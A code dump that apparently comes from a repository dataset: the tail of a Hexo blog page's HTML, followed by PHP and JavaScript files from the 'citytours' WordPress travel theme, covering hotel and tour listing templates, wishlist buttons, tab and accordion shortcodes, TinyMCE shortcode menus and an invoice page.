var el = (CONFIG.anchorjs.element || 'h1,h2,h3,h4,h5,h6').split(',');
var res = [];
for (var item of el) {
res.push('.markdown-body > ' + item.trim());
}
if (CONFIG.anchorjs.placement === 'left') {
anchors.options.class = 'anchorjs-link-left';
}
anchors.add(res.join(', '));
}
});
});
</script>
<script>
Fluid.utils.createScript('https://cdn.jsdelivr.net/npm/@fancyapps/fancybox@3/dist/jquery.fancybox.min.js', function() {
Fluid.plugins.fancyBox();
});
</script>
<script>Fluid.plugins.imageCaption();</script>
<script>
if (!window.MathJax) {
window.MathJax = {
tex : {
inlineMath: { '[+]': [['$', '$']] }
},
loader : {
load: ['ui/lazy']
},
options: {
renderActions: {
insertedScript: [200, () => {
document.querySelectorAll('mjx-container').forEach(node => {
let target = node.parentNode;
if (target.nodeName.toLowerCase() === 'li') {
target.parentNode.classList.add('has-jax');
}
});
}, '', false]
}
}
};
} else {
MathJax.startup.document.state(0);
MathJax.texReset();
MathJax.typeset();
MathJax.typesetPromise();
}
Fluid.events.registerRefreshCallback(function() {
if ('MathJax' in window && MathJax.startup.document && typeof MathJax.startup.document.state === 'function') {
MathJax.startup.document.state(0);
MathJax.texReset();
MathJax.typeset();
MathJax.typesetPromise();
}
});
</script>
<script src="https://cdn.jsdelivr.net/npm/mathjax@3/es5/tex-mml-chtml.js" ></script>
<script src="/js/local-search.js" ></script>
<script defer src="https://busuanzi.ibruce.info/busuanzi/2.3/busuanzi.pure.mini.js" ></script>
<!-- 主题的启动项,将它保持在最底部 -->
<!-- the boot of the theme, keep it at the bottom -->
<script src="/js/boot.js" ></script>
<noscript>
<div class="noscript-warning">博客在允许 JavaScript 运行的环境下浏览效果更佳</div>
</noscript>
<script src="/live2dw/lib/L2Dwidget.min.js?094cbace49a39548bed64abff5988b05"></script><script>L2Dwidget.init({"log":false,"pluginJsPath":"lib/","pluginModelPath":"assets/","pluginRootPath":"live2dw/","tagMode":false});</script></body>
</html>
| bd6d6991c3d6e1ff6f11cfdfe1b68272d1a57efc | [
"JavaScript",
"HTML"
] | 3 | HTML | weitrue/weitrue.github.io | 77e7f6d46df1ea5c6d21174b331598ca9b0870c2 | fa4493c65eee0f67e62a6560b59cf1ca8b352b67 | |
refs/heads/master | <file_sep><?php global $post_id, $before_list;
$wishlist = array();
if ( is_user_logged_in() ) {
$user_id = get_current_user_id();
$wishlist = get_user_meta( $user_id, 'wishlist', false );
}
if ( ! is_array( $wishlist ) ) $wishlist = array();
$price = get_post_meta( $post_id, '_hotel_price', true );
if ( empty( $price ) ) $price = 0;
$brief = get_post_meta( $post_id, '_hotel_brief', true );
if ( empty( $brief ) ) {
$brief = apply_filters('the_content', get_post_field('post_content', $post_id));
$brief = wp_trim_words( $brief, 20, '' );
}
$star = get_post_meta( $post_id, '_hotel_star', true );
$star = ( ! empty( $star ) )?round( $star, 1 ):0;
$review = get_post_meta( $post_id, '_review', true );
$review = ( ! empty( $review ) )?round( $review, 1 ):0;
$doubled_review = number_format( round( $review * 2, 1 ), 1 );
$review_content = '';
if ( $doubled_review >= 9 ) {
$review_content = esc_html__( 'Superb', 'citytours' );
} elseif ( $doubled_review >= 8 ) {
$review_content = esc_html__( 'Very good', 'citytours' );
} elseif ( $doubled_review >= 7 ) {
$review_content = esc_html__( 'Good', 'citytours' );
} elseif ( $doubled_review >= 6 ) {
$review_content = esc_html__( 'Pleasant', 'citytours' );
} else {
$review_content = esc_html__( 'Review Rating', 'citytours' );
}
$wishlist_link = ct_wishlist_page_url();
?>
<?php if ( ! empty( $before_list ) ) {
echo ( $before_list );
} else { ?>
<div class="col-md-6 col-sm-6 wow zoomIn" data-wow-delay="0.1s">
<?php } ?>
<div class="hotel_container">
<div class="img_container">
<a href="<?php echo esc_url( get_permalink( $post_id ) ); ?>">
<?php echo get_the_post_thumbnail( $post_id, 'ct-list-thumb' ); ?>
<!-- <div class="ribbon top_rated"></div> -->
<?php if ( ! empty( $review ) ) : ?>
<div class="score"><span><?php echo esc_html( $doubled_review ) ?></span><?php echo esc_html( $review_content ) ?></div>
<?php endif; ?>
<div class="short_info hotel">
<?php echo esc_html__( 'From/Per night', 'citytours' ) ?>
<span class="price"><?php echo ct_price( $price, 'special' ) ?></span>
</div>
</a>
</div>
<div class="hotel_title">
<h3><?php echo esc_html( get_the_title( $post_id ) );?></h3>
<div class="rating">
<?php ct_rating_smiles( $star, 'icon-star-empty', 'icon-star voted' )?>
</div><!-- end rating -->
<?php if ( ! empty( $wishlist_link ) ) : ?>
<div class="wishlist">
<a class="tooltip_flip tooltip-effect-1 btn-add-wishlist" href="#" data-post-id="<?php echo esc_attr( $post_id ) ?>"<?php echo ( in_array( ct_hotel_org_id( $post_id ), $wishlist) ? ' style="display:none;"' : '' ) ?>><span class="wishlist-sign">+</span><span class="tooltip-content-flip"><span class="tooltip-back"><?php esc_html_e( 'Add to wishlist', 'citytours' ); ?></span></span></a>
<a class="tooltip_flip tooltip-effect-1 btn-remove-wishlist" href="#" data-post-id="<?php echo esc_attr( $post_id ) ?>"<?php echo ( ! in_array( ct_hotel_org_id( $post_id ), $wishlist) ? ' style="display:none;"' : '' ) ?>><span class="wishlist-sign">-</span><span class="tooltip-content-flip"><span class="tooltip-back"><?php esc_html_e( 'Remove from wishlist', 'citytours' ); ?></span></span></a>
</div><!-- End wish list-->
<?php endif; ?>
</div>
</div><!-- End box tour -->
</div><!-- End col-md-6 --><file_sep><?php
$variables = array( 'style'=>'', 'active_tab_index' => '1', 'el_class'=>'', 'class'=>'' );
extract( shortcode_atts( $variables, $atts ) );
$result = '';
preg_match_all( '/\[vc_tab(.*?)]/i', $content, $matches, PREG_OFFSET_CAPTURE );
$tab_titles = array();
if ( isset( $matches[0] ) ) {
$tab_titles = $matches[0];
}
if ( count( $tab_titles ) ) {
$classes = array( 'tab-container', 'clearfix', $style );
if ( $el_class != '' ) {
$classes[] = $el_class;
}
$result .= sprintf( '<div class="%s"><ul class="nav nav-tabs">', esc_attr( $class ) );
$uid = uniqid();
foreach ( $tab_titles as $i => $tab ) {
preg_match( '/title="([^\"]+)"/i', $tab[0], $tab_matches, PREG_OFFSET_CAPTURE );
if ( isset( $tab_matches[1][0] ) ) {
$active_class = '';
$active_attr = '';
if ( $active_tab_index - 1 == $i ) {
$active_class = ' class="active"';
$active_attr = ' active="true"';
}
preg_match( '/ tab_id="([^\"]+)"/i', $tab[0], $tab_id_matches, PREG_OFFSET_CAPTURE );
$tid = '';
if ( !empty( $tab_id_matches[1][0] ) ) {
$tid = esc_attr( $tab_id_matches[1][0] );
}
$result .= '<li '. $active_class . '><a href="#' . $tid . '" data-toggle="tab">' . esc_html( $tab_matches[1][0] ) . '</a></li>';
$before_content = substr($content, 0, $tab[1]);
$current_content = substr($content, $tab[1]);
$current_content = preg_replace('/\[vc_tab/', '[vc_tab' . $active_attr, $current_content, 1);
$content = $before_content . $current_content;
}
}
$result .= '</ul>';
$result .= '<div class="tab-content">';
$result .= wpb_js_remove_wpautop( $content );
$result .= '</div>';
$result .= '</div>';
} else {
$result .= wpb_js_remove_wpautop( $content );
}
echo ( $output );<file_sep><?php global $post_id, $before_list;
$wishlist = array();
if ( is_user_logged_in() ) {
$user_id = get_current_user_id();
$wishlist = get_user_meta( $user_id, 'wishlist', true );
}
if ( ! is_array( $wishlist ) ) $wishlist = array();
$price = get_post_meta( $post_id, '_tour_price', true );
if ( empty( $price ) ) $price = 0;
$tour_type = wp_get_post_terms( $post_id, 'tour_type' );
$brief = get_post_meta( $post_id, '_tour_brief', true );
if ( empty( $brief ) ) {
$brief = apply_filters('the_content', get_post_field('post_content', $post_id));
$brief = wp_trim_words( $brief, 20, '' );
}
$review = get_post_meta( $post_id, '_review', true );
$review = ( ! empty( $review ) )?round( $review, 1 ):0;
$wishlist_link = ct_wishlist_page_url();
?>
<?php if ( ! empty( $before_list ) ) {
echo ( $before_list );
} else { ?>
<div class="col-md-6 col-sm-6 wow zoomIn" data-wow-delay="0.1s">
<?php } ?>
<div class="tour_container">
<div class="img_container">
<a href="<?php echo esc_url( get_permalink( $post_id ) ); ?>">
<?php echo get_the_post_thumbnail( $post_id, 'ct-list-thumb' ); ?>
<!-- <div class="ribbon top_rated"></div> -->
<div class="short_info">
<?php
if ( ! empty( $tour_type ) ) {
$icon_class = get_tax_meta($tour_type[0]->term_id, 'ct_tax_icon_class', true);
if ( ! empty( $icon_class ) ) echo '<i class="' . $icon_class . '"></i>' . $tour_type[0]->name;
}
?>
<span class="price"><?php echo ct_price( $price, 'special' ) ?></span>
</div>
</a>
</div>
<div class="tour_title">
<h3><?php echo esc_html( get_the_title( $post_id ) );?></h3>
<div class="rating">
<?php ct_rating_smiles( $review )?><small>(<?php echo esc_html( ct_get_review_count( $post_id ) ) ?>)</small>
</div><!-- end rating -->
<?php if ( ! empty( $wishlist_link ) ) : ?>
<div class="wishlist">
<a class="tooltip_flip tooltip-effect-1 btn-add-wishlist" href="#" data-post-id="<?php echo esc_attr( $post_id ) ?>"<?php echo ( in_array( ct_tour_org_id( $post_id ), $wishlist) ? ' style="display:none;"' : '' ) ?>><span class="wishlist-sign">+</span><span class="tooltip-content-flip"><span class="tooltip-back"><?php esc_html_e( 'Add to wishlist', 'citytours' ); ?></span></span></a>
<a class="tooltip_flip tooltip-effect-1 btn-remove-wishlist" href="#" data-post-id="<?php echo esc_attr( $post_id ) ?>"<?php echo ( ! in_array( ct_tour_org_id( $post_id ), $wishlist) ? ' style="display:none;"' : '' ) ?>><span class="wishlist-sign">-</span><span class="tooltip-content-flip"><span class="tooltip-back"><?php esc_html_e( 'Remove from wishlist', 'citytours' ); ?></span></span></a>
</div><!-- End wish list-->
<?php endif; ?>
</div>
</div><!-- End box tour -->
</div><!-- End col-md-6 --><file_sep>#### change log - 1.0.5 #####
\inc\admin\tour\orders-admin-panel.php
#### change log - 1.0.4 #####
single-tour.php
\inc\functions\currency.php
\inc\functions\functions.php
\inc\functions\template-functions.php
\inc\lib\redux-framework\config.php
\inc\shortcode\shortcodes.php
\templates\hotel\checkout.php
\templates\hotel\loop-grid.php
\templates\hotel\loop-list.php
\templates\tour\checkout.php
\templates\tour\loop-grid.php
\templates\tour\loop-list.php<file_sep><?php
if ( ! defined( 'ABSPATH' ) ) exit; // Exit if accessed directly
if ( ! function_exists( 'ct_tour_get_schedule_html' ) ) {
function ct_tour_get_schedule_html( $tour_id ) {
$schedules = ct_tour_get_schedules( $tour_id );
$has_multi_schedules = get_post_meta( $tour_id, '_has_multi_schedules', true );
if ( ! empty( $schedules ) ) :
$schedule_id = $schedules[0]['schedule_id'];
foreach ( $schedules as $key => $schedule ) :
if ( $schedule_id != $schedule['schedule_id'] ) {
echo '</tbody></table></div>';
}
if ( ( $key == 0 ) || ( $schedule_id != $schedule['schedule_id'] ) ) { ?>
<div class="table-responsive">
<table class="table table-striped">
<thead>
<?php if ( ! empty( $has_multi_schedules ) ) : ?>
<tr>
<th colspan="2">
<?php if ( ! empty( $schedule['from'] ) && $schedule['from'] != '0000-00-00' ) echo date( 'jS F', strtotime( $schedule['from'] ) );
if ( ! empty( $schedule['to'] ) && $schedule['to'] != '0000-00-00' ) echo ' ' . esc_html__( 'to', 'citytours' ) . ' ' . date( 'jS F', strtotime( $schedule['to'] ) ); ?>
</th>
</tr>
<?php endif; ?>
</thead>
<tbody>
<?php }
echo '<tr> <td> ' . date('l', strtotime("Monday +" . $schedule['day'] . " days")) . ' </td> <td> ';
if ( ! empty( $schedule['is_closed'] ) ) {
echo '<span class="label label-danger">' . esc_html__( 'Closed', 'citytours' ) . '</span>';
} else {
echo esc_html( $schedule['open_time'] . ' - ' . $schedule['close_time'] ) ;
}
echo ' </td> </tr>';
$schedule_id = $schedule['schedule_id'];
endforeach;
echo '</tbody></table></div>';
endif;
}
}<file_sep>/**
* v3.X TinyMCE specific functions. (before wordpress 3.9)
*/
(function() {
tinymce.create('tinymce.plugins.ctShortcode', {
init : function(ed, url){
tinymce.plugins.ctShortcode.theurl = url;
},
createControl : function(btn, e) {
if ( btn == 'ct_shortcode_button' ) {
var a = this;
var btn = e.createSplitButton('ct_shortcode_button', {
title: 'CT Shortcode',
image: tinymce.plugins.ctShortcode.theurl + '/citytours.png',
icons: false,
});
btn.onRenderMenu.add(function (c, b) {
// Layouts
c = b.addMenu({title:'Layouts'});
a.render( c, 'Row', 'row' );
a.render( c, 'One Half', 'one-half' );
a.render( c, 'One Third', 'one-third' );
a.render( c, 'One Fourth', 'one-fourth' );
a.render( c, 'Two Third', 'two-third' );
a.render( c, 'Three Fourth', 'three-fourth' );
a.render( c, 'Column', 'column' );
// Elements
c = b.addMenu({title:'Elements'});
a.render( c, 'Banner', 'banner' );
a.render( c, 'Blockquote', 'blockquote' );
a.render( c, 'Button', 'button' );
a.render( c, 'Checklist', 'checklist' );
a.render( c, 'Icon Box', 'icon-box' );
a.render( c, 'Icon List', 'icon-list' );
a.render( c, 'Pricing Table', 'pricing-table' );
a.render( c, 'Review', 'review' );
a.render( c, 'Tooltip', 'tooltip' );
// Group
c = b.addMenu({title:'Group'});
a.render( c, 'Toggle/Accordion Container', 'toggles' );
a.render( c, 'Toggle', 'toggle' );
a.render( c, 'Tabs', 'tabs' );
a.render( c, 'Tab', 'tab' );
});
return btn;
}
return null;
},
render : function(ed, title, id) {
ed.add({
title: title,
onclick: function () {
if( id === 'row' ) {
tinyMCE.activeEditor.selection.setContent('[row]...[/row]');
}
if( id === 'one-half' ) {
tinyMCE.activeEditor.selection.setContent('[one_half (offset="{0-6}") ]...[/one_half]');
}
if( id === 'one-third' ) {
tinyMCE.activeEditor.selection.setContent('[one_third (offset="{0-8}") ]...[/one_third]');
}
if( id === 'one-fourth' ) {
tinyMCE.activeEditor.selection.setContent('[one_fourth (offset="{0-9}") ]...[/one_fourth]');
}
if( id === 'two-third' ) {
tinyMCE.activeEditor.selection.setContent('[two_third (offset="{0-4}") ]...[/two_third]');
}
if( id === 'three-fourth' ) {
tinyMCE.activeEditor.selection.setContent('[three_fourth (offset="{0-3}") ]...[/three_fourth]');
}
if( id === 'column' ) {
tinyMCE.activeEditor.selection.setContent('[column (lg = "{1-12}") (md = "{1-12}") (sm = "{1-12}") (xs = "{1-12}") (lgoff = "{0-12}") (mdoff = "{0-12}") (smoff = "{0-12}") (xsoff = "{0-12}") (lghide = "yes|no") (mdhide = "yes|no") (smhide = "yes|no") (xshide = "yes|no") (lgclear = "yes|no") (mdclear = "yes|no") (smclear = "yes|no") (xsclear = "yes|no") ]...[/column]');
}
if( id === 'banner' ) {
tinyMCE.activeEditor.selection.setContent('[banner (style="colored")]...[/banner]');
}
if( id === 'blockquote' ) {
tinyMCE.activeEditor.selection.setContent('[blockquote]...[/blockquote]');
}
if( id === 'button' ) {
tinyMCE.activeEditor.selection.setContent('[button link="" (target="_blank|_self|_parent|_top|framename") (size="medium|full") (style="outline|white|green")]...[/button]');
}
if( id === 'checklist' ) {
tinyMCE.activeEditor.selection.setContent('[checklist]...[/checklist]');
}
if( id === 'icon-box' ) {
tinyMCE.activeEditor.selection.setContent('[icon_box (style="style2|style3") icon_class=""]...[/icon_box]');
}
if( id === 'icon-list' ) {
tinyMCE.activeEditor.selection.setContent('[icon_list]...[/icon_list]');
}
if( id === 'pricing-table' ) {
tinyMCE.activeEditor.selection.setContent('[pricing_table style="" price="" title="" btn_title="" btn_url="" btn_target="" btn_color="" btn_class="" ribbon_img_url="" (is_featured="yes")]...[/pricing_table]');
}
if( id === 'review' ) {
tinyMCE.activeEditor.selection.setContent('[review name="" (rating="{1-5}") img_url=""]...[/review]');
}
if( id === 'tooltip' ) {
tinyMCE.activeEditor.selection.setContent('[tooltip title="" (effect="1|2|3|4") (position="top|right|bottom|left") (style="advanced")]...[/tooltip]');
}
if( id === 'toggles' ) {
tinyMCE.activeEditor.selection.setContent('[toggles (toggle_type="accordion|toggle") ][toggle title="Toggle Title" (active="yes|no")]...[/toggle][/toggles]');
}
if( id === 'toggle' ) {
tinyMCE.activeEditor.selection.setContent('[toggle title="Toggle Title" (active="yes|no")]...[/toggle]');
}
if( id === 'tabs' ) {
tinyMCE.activeEditor.selection.setContent('[tabs active_tab_index="{1-}"]...[/tabs]');
}
if( id === 'tab' ) {
tinyMCE.activeEditor.selection.setContent('[tab id="" title="" active="yes|no"]...[/tab]');
}
return false;
}
});
}
});
tinymce.PluginManager.add('ct_shortcode', tinymce.plugins.ctShortcode);
})();<file_sep><?php $post_id = get_the_ID(); ?>
<div id="post-<?php echo esc_attr( $post_id ); ?>" <?php post_class(); ?>>
<?php if ( has_post_thumbnail() ) { the_post_thumbnail( 'full', array('class' => 'img-responsive') ); } ?>
<div class="post_info clearfix">
<div class="post-left">
<ul>
<li><i class="icon-calendar-empty"></i><?php echo esc_html__( 'On', 'citytours' ) ?> <span><?php echo get_the_date(); ?></span></li>
<li><i class="icon-inbox-alt"></i><?php echo esc_html__( 'In', 'citytours' ) ?> <?php the_category( ' ' ); ?></li>
<li><i class="icon-tags"></i><?php the_tags(); ?></li>
</ul>
</div>
<div class="post-right"><i class="icon-comment"></i><?php comments_number(); ?></div>
</div>
<h2><?php the_title(); ?></h2>
<p><?php the_excerpt(); ?></p>
<a href="<?php the_permalink(); ?>" class="btn_1"><?php echo esc_html__( 'Read more', 'citytours' ) ?></a>
</div><!-- end post --><file_sep><?php
if ( ! defined( 'ABSPATH' ) ) exit; // Exit if accessed directly
require_once( CT_INC_DIR . '/admin/tour/bookings-admin-panel.php' );
require_once( CT_INC_DIR . '/admin/tour/orders-admin-panel.php' );<file_sep>/**
* v4.X TinyMCE specific functions. (from wordpress 3.9)
*/
(function() {
tinymce.PluginManager.add('ct_shortcode', function(editor, url) {
editor.addButton('ct_shortcode_button', {
type : 'menubutton',
title : 'CT Shortcode',
style : 'background-image: url("' + url + '/citytours.png' + '"); background-repeat: no-repeat; background-position: 2px 2px;"',
icon : true,
menu : [
{ text: 'Layouts',
menu : [
{ text : 'Row', onclick: function() {editor.insertContent('[row]...[/row]');} },
{ text : 'One Half', onclick: function() {editor.insertContent('[one_half (offset="{0-6}") ]...[/one_half]');} },
{ text : 'One Third', onclick: function() {editor.insertContent('[one_third (offset="{0-8}") ]...[/one_third]');} },
{ text : 'One Fourth', onclick: function() {editor.insertContent('[one_fourth (offset="{0-9}") ]...[/one_fourth]');} },
{ text : 'Two Third', onclick: function() {editor.insertContent('[two_third (offset="{0-4}") ]...[/two_third]');} },
{ text : 'Three Fourth', onclick: function() {editor.insertContent('[three_fourth (offset="{0-3}") ]...[/three_fourth]');} },
{ text : 'Column', onclick: function() {editor.insertContent('[column (lg = "{1-12}") (md = "{1-12}") (sm = "{1-12}") (xs = "{1-12}") (lgoff = "{0-12}") (mdoff = "{0-12}") (smoff = "{0-12}") (xsoff = "{0-12}") (lghide = "yes|no") (mdhide = "yes|no") (smhide = "yes|no") (xshide = "yes|no") (lgclear = "yes|no") (mdclear = "yes|no") (smclear = "yes|no") (xsclear = "yes|no") ]...[/column]');} },
{ text : 'Container', onclick: function() {editor.insertContent('[container]...[/container]');} },
]
},
{ text: 'Main Elements',
menu : [
{ text : 'Banner', onclick: function() {editor.insertContent('[banner (style="colored")]...[/banner]');} },
{ text : 'Blockquote', onclick: function() {editor.insertContent('[blockquote]...[/blockquote]');} },
{ text : 'Button', onclick: function() {editor.insertContent('[button link="" (target="_blank|_self|_parent|_top|framename") (size="medium|full") (style="outline|white|green")]...[/button]');} },
{ text : 'Checklist', onclick: function() {editor.insertContent('[checklist]...[/checklist]');} },
{ text : 'Icon Box', onclick: function() {editor.insertContent('[icon_box (style="style2|style3") icon_class=""]...[/icon_box]');} },
{ text : 'Icon List', onclick: function() {editor.insertContent('[icon_list]...[/icon_list]');} },
{ text : 'Pricing Table', onclick: function() {editor.insertContent('[pricing_table style="" price="" title="" btn_title="" btn_url="" btn_target="" btn_color="" btn_class="" ribbon_img_url="" (is_featured="yes")]...[/pricing_table]');} },
{ text : 'Review', onclick: function() {editor.insertContent('[review name="" (rating="{1-5}") img_url=""]...[/review]');} },
{ text : 'Tooltip', onclick: function() {editor.insertContent('[tooltip title="" (effect="1|2|3|4") (position="top|right|bottom|left") (style="advanced")]...[/tooltip]');} },
]
},
{ text: 'Group',
menu : [
{ text : 'Toggles/Accordions', onclick: function() {editor.insertContent('[toggles (toggle_type="accordion|toggle") ][toggle title="Toggle Title" (active="yes|no")]...[/toggle][/toggles]');} },
{ text : 'Toggle', onclick: function() {editor.insertContent('[toggle title="Toggle Title" (active="yes|no")]...[/toggle]');} },
{ text : 'Tabs', onclick: function() {editor.insertContent('[tabs active_tab_index="{1-}"]...[/tabs]');} },
{ text : 'Tab', onclick: function() {editor.insertContent('[tab id="" title="" active="yes|no"]...[/tab]');} },
]
},
{ text: 'Pages & Lists',
menu : [
{ text : 'Hotel Cart Page', onclick: function() {editor.insertContent('[hotel_cart]');} },
{ text : 'Hotel CheckOut Page', onclick: function() {editor.insertContent('[hotel_checkout]');} },
{ text : 'Hotel Booking Confirmation Page', onclick: function() {editor.insertContent('[hotel_booking_confirmation]');} },
{ text : 'Tour Cart Page', onclick: function() {editor.insertContent('[tour_cart]');} },
{ text : 'Tour CheckOut Page', onclick: function() {editor.insertContent('[tour_checkout]');} },
{ text : 'Tour Booking Confirmation Page', onclick: function() {editor.insertContent('[tour_booking_confirmation]');} },
]
}
]
});
});
})();<file_sep><?php
/*
Blog Page Content
*/
global $cat;
$posts_per_page = get_option( 'posts_per_page' );
$arg_str = 'post_type=post&post_status=publish&posts_per_page=' . $posts_per_page . '&paged='. get_query_var('paged');
if ( ! empty( $cat ) ) $arg_str .= '&cat=' . $cat;
query_posts( $arg_str );
?>
<div class="box_style_1">
<?php if ( have_posts() ) : ?>
<?php $index = 0; ?>
<?php while(have_posts()): the_post(); ?>
<?php if ( 0 != $index ) { ?>
<hr>
<?php } $index++; ?>
<?php ct_get_template( 'loop-blog.php', '/templates' ); ?>
<?php endwhile; ?>
<?php else : ?>
<?php esc_html_e( 'No posts found', 'citytours' ); ?>
<?php endif; ?>
</div><!-- end box_style_1 -->
<hr>
<div class="text-center">
<?php echo paginate_links( array( 'type' => 'list','prev_text' => esc_html__( 'Prev', 'citytours' ), 'next_text' => esc_html__('Next', 'citytours'), ) ); ?>
</div>
<?php wp_reset_query(); ?><file_sep><?php
$output = $el_class = $active_tab = $toggle_type = '';
//
extract(shortcode_atts(array(
'toggle_type' => 'accordion',
'title' => '',
'el_class' => '',
'active_tab' => '1',
), $atts));
preg_match_all( '/\[vc_accordion_tab(.*?)]/i', $content, $matches, PREG_OFFSET_CAPTURE );
$tabs_arr = array();
if ( isset( $matches[0] ) ) {
$tabs_arr = $matches[0];
}
foreach ( $tabs_arr as $i => $tab ) {
if ( $i === (int)$active_tab - 1 ) {
$before_content = substr($content, 0, $tab[1]);
$current_content = substr($content, $tab[1]);
$current_content = preg_replace('/\[vc_accordion_tab/', '[vc_accordion_tab active="yes"' , $current_content, 1);
$content = $before_content . $current_content;
}
}
$uid = uniqid('ct-tgg-');
if ( $toggle_type == 'accordion' ) {
foreach ( $tabs_arr as $i => $tab ) {
$before_content = substr($content, 0, $tab[1]);
$current_content = substr($content, $tab[1]);
$replace_str = '[vc_accordion_tab parent_id="' . $uid . '"';
$current_content = preg_replace('/\[vc_accordion_tab/', $replace_str , $current_content, 1);
$content = $before_content . $current_content;
}
}
$el_class = $this->getExtraClass($el_class);
$css_class = apply_filters( VC_SHORTCODE_CUSTOM_CSS_FILTER_TAG, trim('panel-group ' . $el_class), $this->settings['base'], $atts );
if ( ! empty( $title ) ) { $output .= '<h2>' . esc_html( $title ) . '</h2>'; }
$output .= "\n\t".'<div class="'. esc_attr( $css_class ) .'" id="' . $uid . '">';
$output .= "\n\t\t\t".wpb_js_remove_wpautop($content);
$output .= "\n\t".'</div> ';
echo ( $output );<file_sep><?php
/**
* Initialize Visual Composer
*/
if ( class_exists( 'Vc_Manager', false ) ) {
add_action( 'vc_before_init', 'ct_vcSetAsTheme' );
function ct_vcSetAsTheme() {
vc_set_as_theme(true);
}
if ( function_exists( 'vc_disable_frontend' ) ) :
vc_disable_frontend();
endif;
add_action( 'vc_before_init', 'ct_load_js_composer' );
function ct_load_js_composer() {
require_once CT_INC_DIR . '/js_composer/js_composer.php';
}
if ( function_exists( 'vc_set_shortcodes_templates_dir' ) ) {
vc_set_shortcodes_templates_dir( CT_INC_DIR . '/js_composer/vc_templates' );
}
}
<file_sep><!DOCTYPE html>
<!--[if IE 8]><html class="ie ie8"> <![endif]-->
<!--[if IE 9]><html class="ie ie9"> <![endif]-->
<!--[if gt IE 9]><!--> <!--<![endif]-->
<html <?php language_attributes(); ?>>
<head>
<meta charset="utf-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1">
<?php if ( ! function_exists( 'has_site_icon' ) || ! has_site_icon() ) { ?>
<link rel="shortcut icon" href="<?php echo esc_url( ct_favicon_url() ); ?>" type="image/x-icon" />
<?php } ?>
<style>
.invoice-title h2, .invoice-title h3 {display: inline-block;}
.table > tbody > tr > .no-line {border-top: none;}
.table > thead > tr > .no-line {border-bottom: none;}
.table > tbody > tr > .thick-line {border-top: 2px solid;}
</style>
<?php wp_head(); ?>
</head>
<body>
<div class="container">
<?php if ( ! empty( $_REQUEST['booking_no'] ) && ! empty( $_REQUEST['pin_code'] ) ) {
$order = new CT_Hotel_Order( $_REQUEST['booking_no'], $_REQUEST['pin_code'] );
if ( $order_info = $order->get_order_info() ) {
$post_type = get_post_type( $order_info['post_id'] );
$deposit_rate = 0;
if ( 'tour' == $post_type ) {
$deposit_rate = get_post_meta( $order_info['post_id'], '_tour_security_deposit', true );
} elseif( 'hotel' == $post_type ) {
$deposit_rate = get_post_meta( $order_info['post_id'], '_hotel_security_deposit', true );
}
?>
<div class="row">
<div class="col-xs-12">
<div class="invoice-title">
<h2><?php echo esc_html__( 'Invoice', 'citytours' ) ?></h2><h3 class="pull-right"><?php echo sprintf( esc_html__( 'Order # %s', 'citytours' ), $order_info['id'] ) ?></h3>
</div>
<hr>
<div class="row">
<div class="col-xs-6">
<address>
<strong><?php echo esc_html__( 'Billed To', 'citytours' ) ?>:</strong><br>
<?php echo esc_html( $order_info['first_name'] . ' ' . $order_info['last_name'] ) ?><br>
<?php if ( ! empty( $order_info['address1'] ) ) echo esc_html( $order_info['address1'] ) . '<br>' ?>
<?php if ( ! empty( $order_info['address2'] ) ) echo esc_html( $order_info['address2'] ) . '<br>' ?>
<?php echo esc_html( $order_info['state'] ) ?>, <?php echo esc_html( $order_info['city'] ) ?> <?php echo esc_html( $order_info['zip'] ) ?><br>
<?php echo esc_html( $order_info['country'] ) ?><br>
</address>
</div>
<div class="col-xs-6 text-right">
<address>
<strong><?php echo esc_html__( 'Order Date', 'citytours' ) ?>:</strong><br>
<?php echo esc_html( date_i18n( ct_site_date_format(), strtotime( $order_info['created'] ) ) ) ?><br><br>
</address>
</div>
</div>
</div>
</div>
<div class="row">
<div class="col-md-12">
<div class="panel panel-default">
<div class="panel-heading">
<h3 class="panel-title"><strong><?php echo esc_html__( 'Order summary', 'citytours' ) ?></strong></h3>
</div>
<div class="panel-body">
<div class="table-responsive">
<table class="table table-condensed">
<thead>
<tr>
<td><strong><?php echo esc_html__( 'Item ID', 'citytours' ) ?></strong></td>
<td class="text-center"><strong><?php echo esc_html__( 'Description', 'citytours' ) ?></strong></td>
<td class="text-right"><strong><?php echo esc_html__( 'Totals', 'citytours' ) ?></strong></td>
</tr>
</thead>
<tbody>
<?php
if ( 'hotel' == $post_type ) {
$order_rooms = $order->get_rooms();
if ( ! empty( $order_rooms ) ) :
foreach ( $order_rooms as $order_room ) : ?>
<tr>
<td class=""><?php echo esc_html( $order_room['room_type_id'] ) ?></td>
<td class="text-center"><?php echo esc_html( get_the_title( $order_room['room_type_id'] ) ) . ' ' . date_i18n( ct_site_date_format(), strtotime( $order_info['date_from'] ) ) . ' - ' . date_i18n( ct_site_date_format(), strtotime( $order_info['date_to'] ) ) ?></td>
<td class="text-right"><?php echo ct_price( $order_room['total_price'] ) ?></td>
</tr>
<?php endforeach;
endif;
} elseif ( 'tour' == $post_type ) {
$tour_data = $order->get_tours();
if ( ! empty( $tour_data ) ) : ?>
<tr>
<td class=""><?php echo esc_html( $tour_data['tour_id'] ) ?></td>
<td class="text-center"><?php echo esc_html( get_the_title( $tour_data['tour_id'] ) );
if ( ! empty( $order_info['date_from'] ) && '0000-00-00' != $order_info['date_from'] ) echo ' - ' . date_i18n( ct_site_date_format(), strtotime( $order_info['date_from'] ) ) ?></td>
<td class="text-right"><?php echo ct_price( $tour_data['total_price'] ) ?></td>
</tr>
<?php endif;
} ?>
<?php $order_services = $order->get_services();
if ( ! empty( $order_services ) ) :
?>
<?php foreach ( $order_services as $order_service ) : ?>
<?php $service_data = ct_get_add_service( $order_service['add_service_id'] ); ?>
<tr>
<td class=""><?php echo esc_html( $order_service['add_service_id'] ) ?></td>
<td class="text-center"><?php echo esc_html( $service_data->title ) ?></td>
<td class="text-right"><?php echo ct_price( $order_service['total_price'] ) ?></td>
</tr>
<?php endforeach; ?>
<?php endif; ?>
<tr>
<td class="thick-line"></td>
<td class="thick-line text-center"><strong><?php echo esc_html__( 'Total', 'citytours' ) ?></strong></td>
<td class="thick-line text-right"><?php echo ct_price( $order_info['total_price'] ) ?></td>
</tr>
<?php if ( ! empty( $deposit_rate ) && $deposit_rate < 100 ) : ?>
<tr>
<td class="no-line"></td>
<td class="no-line text-center"><strong><?php echo sprintf( esc_html__( 'Security Deposit (%d%%)', 'citytours' ), $deposit_rate ) ?></strong></td>
<td class="no-line text-right"><?php echo ct_price( $order_info['deposit_price'], "", $order_info['currency_code'], 0 ) ?></td>
